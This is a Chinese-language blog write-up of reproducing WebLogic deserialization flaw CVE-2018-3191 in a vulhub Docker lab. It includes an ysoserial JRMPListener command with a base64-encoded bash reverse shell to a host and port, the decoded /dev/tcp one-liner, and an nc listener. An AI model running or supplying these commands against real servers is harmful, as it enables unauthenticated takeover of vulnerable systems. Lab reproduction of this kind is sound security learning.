今天测试,遇到了这个漏洞,vulmap扫到了这个漏洞,另一个weblogic漏洞利用工具却没扫到,就想着来复现一下这个漏洞,没想到还踩了个大坑,刚好水篇文章记录一下…
漏洞简介
WebLogic远程代码执行漏洞(CVE-2018-3191)允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server,成功的漏洞利用可导致WebLogic Server被攻击者接管,从而造成远程代码执行。
影响版本
- WebLogic 10.3.6.0
- WebLogic 12.1.3.0
- WebLogic 12.2.1.2
- WebLogic 12.2.1.3
漏洞复现
使用vulhub CVE-2018-2628搭建漏洞环境,docker-compose up -d
开启weblogic 10.3.6.0服务器
1、开启RMI监听
1 | java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1097 CommonsCollections1 "/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMjA0LzU1NTUgMD4mMQ==}|{base64,-d}|{/bin/bash,-i}" |
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMjA0LzU1NTUgMD4mMQ==
解码后:bash -i >& /dev/tcp/10.1.1.204/5555 0>&1
,base64编码避免反弹shell中特殊符号被Runtime.getRuntime().exec()
转义
2、nc监听5555端口
1 | nc -lvp 5555 |
3、使用CVE-2018-3191这个项目中的weblogic-spring-jndi-10.3.6.0.jar
生成payload
4、发送payload
5、getshell
3、4、5步没有详细写是因为在第3步发现个大坑,没办法生成payload,如下图:
搜了一下报错原因,发现有人提到MANIFEST.MF
格式或者位置不正确的,然后试了一下使用压缩包打开这个jar想看一下内容,结果竟然打不开,也无法导入IDEA……
去找了一下还有没有其他地方有这文件,发现很多人复现都用的是voidfyoo大佬的文件,但这个存储库已经被删掉了……
没办法按流程复现,只能打开大佬的weblogic工具,扫了一遍漏洞环境
因为这个漏洞没有回显,所以还是用上边第一步的RMI反弹shell
收到反弹shell
参考链接
https://zejunyang.github.io/2018/10/24/cve-2018-3191/
https://www.cnblogs.com/backlion/p/9851625.html